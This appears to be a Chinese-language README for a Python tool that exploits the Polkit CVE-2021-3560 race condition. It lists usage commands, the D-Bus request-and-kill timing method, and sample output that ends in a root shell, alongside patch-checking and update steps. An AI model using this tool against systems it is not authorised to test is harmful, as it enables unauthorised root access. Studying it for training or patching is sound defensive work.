.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
一个针对影响 Linux 系统上 PolicyKit (Polkit) 的 CVE-2021-3560 漏洞的自动化利用工具。
⚠️ 警告:本工具仅用于受控实验环境中的教育和网络安全培训目的。在非您拥有的系统上未经授权使用此漏洞利用程序是违法的。
CVE-2021-3560 是 PolicyKit (polkit) 中的一个本地竞态条件漏洞,允许非特权用户在易受攻击的 Linux 系统上获得 root 权限。
该漏洞影响 Polkit 的两个分支,其版本编号不同:
bfa5036(版本 0.113)f81d021(版本 0.105-26)📝 注意:已应用安全补丁的系统(例如 ubuntu1.1、deb10u1)不受影响。
该漏洞利用程序需要以下工具(会自动验证):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
检查系统是否存在漏洞(不运行漏洞利用程序):
python3 CVE-2021-3560_Polkit.py --check
示例输出:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
创建一个特权用户:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
示例:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
该漏洞利用程序利用 PolicyKit 在处理 D-Bus 请求时的竞态条件。
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
更新 PolicyKit:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
检查版本:
pkexec --version
# Must be >= 0.119 (upstream) or patched
验证安全补丁:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
该漏洞利用程序依赖于竞态条件,这意味着:
以下版本包含安全补丁,不受影响:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3 等(Ubuntu 已修补)0.105-26ubuntu2.1, 0.105-26ubuntu2.2 等(Ubuntu 已修补)0.105-31+deb11u1(Debian 11 已修补)polkit-0.115-11.el8_4.1(RHEL 8 已修补)注意:如果您的系统显示为易受攻击,但漏洞利用程序因 PermissionDenied 错误而失败,很可能是因为该版本已修补。该漏洞利用程序现在可以正确检测这些已修补的版本。
如果漏洞利用程序失败:
检查 Python 版本(如果您遇到 TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
检查版本是否已修补:
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
检查 accountsservice:
systemctl status accounts-daemon
检查 D-Bus:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
通过 SSH 启动,而不是本地控制台
通过修改代码中的 optimal_timing 来调整时序
Seimu
本项目仅用于教育目的。将本代码用于未经授权的活动是严格禁止的,并可能导致法律诉讼。
⚠️ 免责声明:作者不对本工具的任何滥用负责。请仅在授权的测试环境中使用。
| Distribution | Polkit Version | Vulnerable? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ 是 |
| Ubuntu 18.04 | 0.105-20 | ❌ 否 |
| Debian testing "bullseye" | 0.105-31+ | ✅ 是 |
| Debian 10 "buster" | 0.105-25 | ❌ 否 |
| RHEL 8 | 0.115-11+ | ✅ 是 |
| RHEL 7 | < 0.113 | ❌ 否 |
| Fedora 21+ | 0.113+ | ✅ 是 |
| Fedora 20 及更早版本 | < 0.113 | ❌ 否 |